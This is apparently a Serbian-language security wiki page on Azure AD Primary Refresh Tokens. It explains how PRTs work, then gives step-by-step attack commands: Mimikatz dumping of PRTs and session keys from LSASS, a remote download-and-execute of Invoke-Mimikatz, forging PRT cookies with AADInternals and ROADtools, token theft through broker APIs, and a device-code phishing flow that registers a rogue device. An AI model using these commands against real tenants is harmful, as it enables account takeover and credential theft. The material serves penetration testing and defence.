Az - Primary Refresh Token (PRT)

Reading time: 18 minutes

Šta je Primary Refresh Token (PRT)?

Primary Refresh Token (PRT) je dugotrajni refresh token koji se koristi u Azure AD (Entra ID) autentifikaciji, analogan Kerberos TGT-u. Izdaje se prilikom prijave korisnika na uređaju povezanom sa Azure AD i može se koristiti za zahtevanje pristupnih tokena za razne aplikacije bez ponovnog unosa kredencijala. Svaki PRT je praćen session key (takođe nazvan Proof-of-Possession key) -- simetričnim ključem koji se koristi za potpisivanje zahteva i dokazivanje da klijent ima PRT. Sam PRT je neprozirni, enkriptovani blob (nečitljiv od strane klijenta), dok se session key koristi za potpisivanje JWT-a koji sadrži PRT prilikom zahteva za tokenima. Drugim rečima, posedovanje PRT-a samo po sebi nije dovoljno; napadač treba session key da bi dokazao legitimnost, slično kao što su potrebni i Kerberos TGT i njegov session key za autentifikaciju.

Na Windows-u, PRT i session key se keširaju u LSASS procesu putem CloudAP plugina. Ako uređaj ima TPM (Trusted Platform Module), Azure AD vezuje ključeve za TPM radi dodatne sigurnosti. To znači da se na uređajima opremljenim TPM-om, session key čuva ili koristi unutar TPM-a tako da ne može biti direktno pročitan iz memorije pod normalnim okolnostima. Ako TPM nije dostupan (npr. mnoge VM-ove ili stariji sistemi), ključevi se čuvaju u softveru i zaštićeni su DPAPI enkripcijom. U oba slučaja, napadač sa administratorskim privilegijama ili izvršavanjem koda na mašini može pokušati da izvuče PRT i session key iz memorije kao deo post-exploitation-a, a zatim ih koristiti za impersonaciju korisnika u oblaku. Za razliku od tipičnih refresh tokena (koji su obično specifični za aplikaciju), PRT je širi, omogućavajući vašem uređaju da zahteva tokene za gotovo svaki Entra ID-integrisani resurs ili uslugu.

Kako funkcioniše PRT?

Evo pojednostavljenog pregleda kako PRT funkcioniše:

1. Registracija uređaja:

• Kada vaš uređaj (poput Windows laptopa ili mobilnog telefona) pristupi ili se registruje kod Entra ID, autentifikuje se koristeći vaše kredencijale (korisničko ime/lozinka/MFA).

• Nakon uspešne autentifikacije, Entra ID izdaje PRT koji je specifično vezan za vaš uređaj.

2. Skladištenje tokena:

• PRT se sigurno čuva na vašem uređaju, često zaštićen hardverskim funkcijama poput Trusted Platform Module (TPM), osiguravajući da je teško za neovlašćene strane da ga izvuku ili zloupotrebe.

3. Jedinstvena prijava (SSO):

• Svaki put kada pristupite aplikaciji zaštićenoj Entra ID (npr. Microsoft 365 aplikacije, SharePoint, Teams), vaš uređaj tiho koristi sačuvani PRT da zatraži i dobije specifičan pristupni token za tu aplikaciju.

• Ne morate ponovo unositi svoje kredencijale jer PRT transparentno upravlja autentifikacijom.

4. Obnova i sigurnost:

• PRT-ovi imaju dug vek trajanja (obično oko 14 dana), ali se neprekidno obnavljaju sve dok je vaš uređaj aktivno u upotrebi.

• Ako vaš uređaj postane kompromitovan ili izgubljen, administratori mogu daljinski opozvati vaš PRT, odmah blokirajući neovlašćen pristup.

Zašto su PRT-ovi moćni?

• Univerzalni pristup: Za razliku od tipičnih tokena koji su ograničeni na jednu aplikaciju ili resurs, PRT može olakšati pristup svim Entra ID-integrisanim uslugama.

• Poboljšana sigurnost: Sa ugrađenim hardverskim zaštitama (poput TPM), PRT-ovi osiguravaju sigurno skladištenje i korišćenje tokena.

• Korisničko iskustvo: PRT-ovi značajno poboljšavaju korisničko iskustvo smanjenjem učestalih zahteva za autentifikaciju i omogućavanjem pravog besprekornog SSO.

Kako znati da li je PRT prisutan?

• Proverite da li je PRT prisutan:

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• Proverite da li je zaštićeno TPM-om:

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Proći kroz PRT

Prema ovom postu na Windows uređajima bez TPM vezivanja, PRT i njegov sesijski ključ se nalaze u LSASS (CloudAP dodatak). Sa lokalnim administratorom/SYSTEM na tom uređaju, PRT blob i DPAPI-šifrovani sesijski ključ mogu se pročitati iz LSASS-a, sesijski ključ dešifrovati putem DPAPI-a, i potpisni ključ izvesti da bi se stvorio važeći PRT kolačić (x‑ms‑RefreshTokenCredential). Potrebni su vam i PRT i njegov sesijski ključ—sama PRT string nije dovoljna.

Mimikatz

1. PRT (Primarni osvežavajući token) se izvlači iz LSASS-a (Servis podsystema lokalne bezbednosti) i čuva za kasniju upotrebu.
2. Sesijski ključ se zatim izvlači. S obzirom na to da se ovaj ključ prvobitno izdaje i zatim ponovo šifruje od strane lokalnog uređaja, neophodno je dešifrovanje pomoću DPAPI master ključa. Detaljne informacije o DPAPI (API za zaštitu podataka) mogu se naći u ovim resursima: HackTricks i za razumevanje njegove primene, pogledajte Napad na kolačić.
3. Nakon dešifrovanja sesijskog ključa, izvedeni ključ i kontekst za PRT se dobijaju. Ovi su ključni za kreiranje PRT kolačića. Konkretno, izvedeni ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno ovde.

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

PRT field sadrži enkriptovani refresh token (obično base64 string), a KeyValue u ProofOfPossessionKey je DPAPI-enkriptovani sesijski ključ (takođe base64).

Zatim, iz sekurlsa::cloudap izlaza, kopirajte base64 blob iz KeyValue unutar polja ProofOfPossessionKey (ovo je sesijski ključ enkriptovan DPAPI). Ovaj enkriptovani ključ ne može se koristiti onako kako jeste – mora se dekriptovati koristeći sistemske DPAPI akreditive.

Pošto DPAPI enkripcija za sistemske tajne zahteva sistemski kontekst mašine, podignite svoj token na SYSTEM i koristite Mimikatz-ov DPAPI modul za dekripciju:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

token::elevate će imitirati SYSTEM, a dpapi::cloudapkd komanda sa /unprotect će koristiti DPAPI master ključ za dekriptovanje datog KeyValue blob-a. Ovo daje ključ sesije u čistom tekstu, kao i povezani Derived Key i Context koji se koriste za potpisivanje:

• Clear key – 32-bajtni ključ sesije u čistom tekstu (predstavljen kao heksadecimalni string).
• Derived Key – 32-bajtni ključ izveden iz ključa sesije i vrednosti konteksta (više o ovome u nastavku).
• Context – 24-bajtni nasumični kontekst koji je korišćen prilikom izvođenja ključa za potpisivanje za PRT kolačić.

Zatim, možete takođe koristiti mimikatz za generisanje validnog PRT kolačića:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz će ispisati potpisani JWT ( PRT cookie ) nakon linije “Signature with key”, koji sadrži PRT i potpisan je korišćenjem dobijenog ključa. Ovaj JWT se može kopirati i zatim koristiti u web sesiji. Na primer, napadač može otvoriti pregledač, otići na login.microsoftonline.com, i postaviti kolačić nazvan x-ms-RefreshTokenCredential sa vrednošću ovog JWT-a. Kada se pregledač osveži ili navigira, Azure AD će tretirati sesiju kao autentifikovanu (PRT kolačić se prikazuje kao da je došlo do SSO), i izdaće autorizacioni kod ili pristupni token za određeni resurs. U praksi, korisnik bi navigirao do resursa kao što su Office 365 ili Azure portal; prisustvo validnog PRT kolačića znači da će Azure AD omogućiti pristup bez dodatnog prijavljivanja (zaobilazeći MFA, pošto je PRT već autentifikovan).

Takođe možete koristiti roadtx i roadrecon sa PRT-om PRT kolačića da biste se pretvarali da ste korisnik (TODO: Pronaći tačne komande za korišćenje roadtx/roadrecon za dobijanje kredencijala iz PRT-a).

Mimikatz + AADInternals

AADInternals PowerShell modul se takođe može koristiti sa prethodno dobijenim PRT-om i sesijskim ključem za generisanje validnog PRT tokena. Ovo je korisno za automatizaciju procesa dobijanja novog PRT tokena sa nonce-om, koji se može koristiti za dobijanje pristupnih tokena za Azure AD Graph API ili druge resurse:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Ovo dobija svež PRT kolačić (sa nonce-om) i zatim ga koristi za dobijanje pristupnog tokena za Azure AD Graph API (demonstrirajući pristup u oblaku u ime korisnika). AADInternals apstrahuje većinu kriptografije i koristi Windows komponente ili svoju logiku u pozadini.

Mimikatz + roadtx

• Prvo obnovite PRT, koji će ga sačuvati u roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• Sada možemo zatražiti tokene koristeći interaktivni pregledač sa roadtx browserprtauth. Ako koristimo komandu roadtx describe, vidimo da pristupni token uključuje MFA tvrdnju jer je PRT koji sam koristio u ovom slučaju takođe imao MFA tvrdnju.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Imajući kontekst i izvučeni ključ pomoću mimikatz-a, moguće je koristiti roadrecon za generisanje novog potpisanog kolačića sa:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Zloupotreba zaštićenih PRT-ova

Uprkos pomenutim zaštitama, napadač koji je već kompromitovao uređaj (kao lokalni korisnik ili čak SYSTEM) može i dalje zloupotrebiti PRT da dobije sveže pristupne tokene koristeći Windows-ove vlastite API-je i bezbednosne komponente za tokene. Umesto da izvlači sirovi PRT ili ključ, napadač suštinski "traži" od Windows-a da koristi PRT u njihovo ime. U sledećim odeljcima, izlažemo trenutno važeće tehnike za zloupotrebu PRT-ova i njihovih sesijskih ključeva na ažuriranim Windows uređajima gde su TPM zaštite na snazi. Sve ove tehnike pretpostavljaju post-eksploatacioni pristup na ciljanom računaru i fokusiraju se na zloupotrebu ugrađenih autentifikacionih tokova (nema potrebnih neispravljenih ranjivosti).

Arhitektura Windows Token Brokera i SSO Tok

Savremeni Windows upravlja cloud autentifikacijom putem ugrađene token broker arhitekture, koja uključuje komponente u režimu korisnika i LSASS (Local Security Authority). Ključni delovi ove arhitekture uključuju:

• LSASS CloudAP Plugin: Kada je uređaj povezan sa Azure AD, LSASS učitava pakete za cloud autentifikaciju (npr. CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) koji upravljaju PRT-ovima i zahtevima za tokene. LSASS (koji radi kao SYSTEM) orchestrira skladištenje, obnavljanje i korišćenje PRT-a, i komunicira sa TPM-om da izvrši kriptografske operacije (poput potpisivanja PRT izazova sa sesijskim ključem).

• Web Account Manager (WAM): Windows Web Account Manager je okvir u režimu korisnika (dostupan putem COM/WinRT API-ja) koji omogućava aplikacijama ili pretraživačima da traže tokene za cloud naloge bez traženja kredencijala. WAM deluje kao posrednik između korisničkih aplikacija i sigurnog LSASS/TPM podržanog PRT-a. Na primer, Microsoftova MSAL biblioteka i određene komponente OS-a koriste WAM da tiho dobiju tokene koristeći PRT prijavljenog korisnika.

• BrowserCore.exe i Token Broker COM interfejsi: Za SSO u pretraživaču, Windows uključuje komponentu pod nazivom BrowserCore.exe (nalazi se pod Windows Security\BrowserCore). Ovo je domaći host za poruke koji koriste pretraživači (Edge, Chrome putem ekstenzije, itd.) da dobiju SSO token izveden iz PRT-a za Azure AD prijavu. U pozadini, BrowserCore koristi COM objekat koji pruža MicrosoftAccountTokenProvider.dll da dohvati kolačić/token zasnovan na PRT-u. U suštini, ovaj COM interfejs je API "token brokera" prvog lica koji bilo koji proces koji radi kao korisnik može pozvati da dobije SSO token (pod uslovom da korisnik ima važeći PRT u LSASS-u).

Kada korisnik povezan sa Azure AD pokuša da pristupi resursu (recimo, Azure Portal), tok je obično: aplikacija poziva WAM ili BrowserCore-ov COM interfejs, koji zatim komunicira sa LSASS-om. LSASS koristi PRT i sesijski ključ (zaštićen TPM-om) da proizvede SSO token -- često nazvan PRT kolačić -- koji se zatim vraća aplikaciji ili pretraživaču. PRT kolačić je poseban JWT koji sadrži enkriptovani PRT i nonce, potpisan ključem izvedenim iz sesijskog ključa PRT-a. Ovaj kolačić se šalje Azure AD (u x-ms-RefreshTokenCredential header-u) da dokaže da uređaj i korisnik imaju važeći PRT, omogućavajući Azure AD da izda standardne OAuth tokene za osvežavanje i pristup raznim aplikacijama. Važno je napomenuti da će svaka tvrdnja o višefaktorskoj autentifikaciji (MFA) prisutna u PRT-u biti preneta u tokene dobijene putem ovog SSO procesa, što znači da tokeni izvedeni iz PRT-a mogu zadovoljiti resurse zaštićene MFA.

Krađa Tokena na Korisničkom Nivou (Ne-Admin)

Kada napadač ima izvršavanje koda na korisničkom nivou, TPM zaštita PRT-a ne sprečava napadača da dobije tokene. Napadač koristi ugrađene Windows Token Broker API-je:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore izlaže COM klasu (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) za dobijanje PRT kolačića. Ovaj COM API se legitimno poziva od strane pretraživača (Chrome/Edge ekstenzije) za Azure AD SSO.

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Vraća Azure AD refresh token ili PRT kolačić)

• ROADtoken & ROADtools

ROADtoken će pokrenuti BrowserCore.exe iz pravog direktorijuma i koristiti ga da dobije PRT kolačić. Ovaj kolačić se zatim može koristiti sa ROADtools za autentifikaciju i dobijanje trajnog refresh tokena.

Da biste generisali važeći PRT kolačić, prva stvar koja vam je potrebna je nonce.
Možete to dobiti sa:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ili korišćenjem roadrecon:

roadrecon auth prt-init

Zatim možete koristiti roadtoken da dobijete novi PRT (pokrenite alat iz procesa korisnika koji napadate):

.\ROADtoken.exe <nonce>

Kao jedinstvena linija:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Zatim možete koristiti generisani kolačić za generisanje tokena za prijavu koristeći Azure AD Graph ili Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Napadači koriste legitimne Microsoft biblioteke za autentifikaciju (MSAL, WAM APIs, WebAuthenticationCoreManager) iz procesa na nivou korisnika da tiho preuzmu tokene koristeći PRT zaštićen TPM-om.

• aadprt

execute-assembly aadprt.exe

(Preuzima PRT kolačić putem COM interfejsa)

• listwamaccounts

execute-assembly listwamaccounts.exe

(Lista Azure AD naloga prijavljenih putem WAM; identifikuje ciljeve tokena)

• Generički primer (PowerShell sa MSAL):

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Tiho dobija pristupni token koristeći PRT)

Zloupotreba Tokena na Administratorskom / SISTEMskom Nivou

Ako napadač eskalira na Administrator ili SISTEM, može direktno imitirati bilo kog korisnika koji je prijavljen na Azure AD i koristiti iste COM/WAM token broker API-je. PRT-ovi zaštićeni TPM-om ne sprečavaju ovu legitimnu izdavanje tokena.

Imitacija Korisnika i Preuzimanje Tokena

Admin/SISTEM može imitirati aktivne sesije drugih korisnika kako bi pozvao BrowserCore ili WAM za generisanje tokena.

Za ovo samo imitirati korisnički proces (npr., explorer.exe) i pozvati token broker API-je koristeći bilo koju tehniku komentarisanu u prethodnom odeljku.

Direktna Interakcija sa LSASS-om i Token Broker-om (Napredno)

Administrator može i dalje raditi sa LSASS-om kako bi zloupotrebio PRT: na primer, admin bi mogao ubrizgati kod u LSASS ili pozvati interne CloudAP funkcije kako bi naterao LSASS da proizvede token. Istraživanje Dirka-jana je primetilo da admin može “interagovati sa PRT ključevima u LSASS-u koristeći kripto API-je”. U praksi, to bi moglo značiti korišćenje LSASS-ovih vlastitih funkcija (putem tehnike kao što je API hooking ili RPC, ako su dostupni) za generisanje PRT kolačića. Drugi pristup je iskoristiti bilo koji prozor u kojem bi sesijski ključ mogao da se pojavi u memoriji – na primer, u trenutku obnavljanja PRT-a ili registracije uređaja kada je nekriptovan za upotrebu. Takvi napadi su znatno složeniji i situacioni. Jedna jednostavnija taktika admina je zloupotreba postojećih token handle-ova ili keširanja: LSASS kešira nedavno izdate refresh tokene za aplikacije u memoriji (kriptovane sa DPAPI). Određeni napadač iz SISTEMA mogao bi pokušati da izvuče ove DPAPI-zaštićene tokene (koristeći korisnički glavni ključ, koji admin može dobiti) kako bi direktno ukrao refresh tokene za specifične aplikacije. Međutim, najlakša i najopštija metoda ostaje imitacija i korišćenje dokumentovanih token broker interfejsa, pošto oni garantuju da će Azure AD izdati sveže tokene (sa svim pravilnim zahtevima) umesto pokušaja da se razbije enkripcija.

Phishing PRT-ova

Zloupotreba OAuth Device Code toka koristeći Microsoft Authentication Broker client ID (29d9ed98-a469-4536-ade2-f981bc1d605e) i Device Registration Service (DRS) resurs za dobijanje refresh tokena koji se može unaprediti u Primarni Refresh Token (PRT) nakon registracije rogue uređaja.

Zašto ovo funkcioniše

• PRT je vezan za uređaj i omogućava SSO za (gotovo) svaku Entra‑zaštićenu aplikaciju.
• Kombinacija Broker klijenta + DRS omogućava da se ukradeni refresh token zameni za PRT nakon registracije uređaja.
• MFA nije zaobiđena: korisnik obavlja MFA tokom phishing-a; MFA zahtevi se prenose u rezultantni PRT, omogućavajući napadaču pristup aplikacijama bez daljih zahteva.

Preduslovi:

• Korisnička autentifikacija putem Device Code koristeći Broker client ID (29d9ed98-a469-4536-ade2-f981bc1d605e) i DRS opsege/resurs (npr., 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default ili https://enrollment.manage.microsoft.com/).
• Korisnik može registrovati uređaje u Entra ID (podrazumevano: dozvoljeno, ali može biti ograničeno ili kvotirano).
• Nema blokirajućih CA politika koje onemogućavaju Device Code ili zahtevaju usklađene/hibridne uređaje za ciljne aplikacije (to neće sprečiti izdavanje PRT-a, ali hoće blokirati korišćenje za pristup zaštićenim aplikacijama).
• Napadačem kontrolisana mašina za pokretanje toka i čuvanje tokena/ključeva uređaja.

Tok napada:

1. Pokreni Device Code autentifikaciju sa client_id = Broker i DRS opsegom/resursom; prikaži korisnički kod žrtvi.

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. Žrtva se prijavljuje na Microsoftovom sajtu (legit UI) i završava MFA → napadač dobija DRS‑opseg refresh token za Broker klijent.

3. Registrujte zlu uređaj u tenant-u koristeći taj refresh token (objekat uređaja se kreira i povezuje sa žrtvom).

4. Nadogradite na PRT razmenom refresh token + identitet/ključevi uređaja → PRT vezan za napadačev uređaj.

5. (Opcionalna postojanost): ako je MFA bila sveža, registrujte Windows Hello for Business ključ za održavanje dugoročnog, bezlozinkastog pristupa.

6. Zloupotreba: iskoristite PRT (ili izradite PRT kolačić) da dobijete pristupne tokene za Exchange/Graph/SharePoint/Teams/prilagođene aplikacije kao korisnik.

Javne alatke i dokazi koncepta

• ROADtools/ROADtx: Automatizuje OAuth tok, registraciju uređaja i nadogradnje tokena.
• DeviceCode2WinHello: Skripta sa jednom komandom koja automatizuje phish-to-PRT+WHfB ključeve.

Reference

• Dirkjanov blog post o PRT
• Dirkjanov post o phishing PRT-ima
• Dirkjanov post o zloupotrebi PRT-a
• SpecterOps post o Zahtevanju Azure AD Request Tokens
• AADInternals post o PRT-ima
• blog.3or.de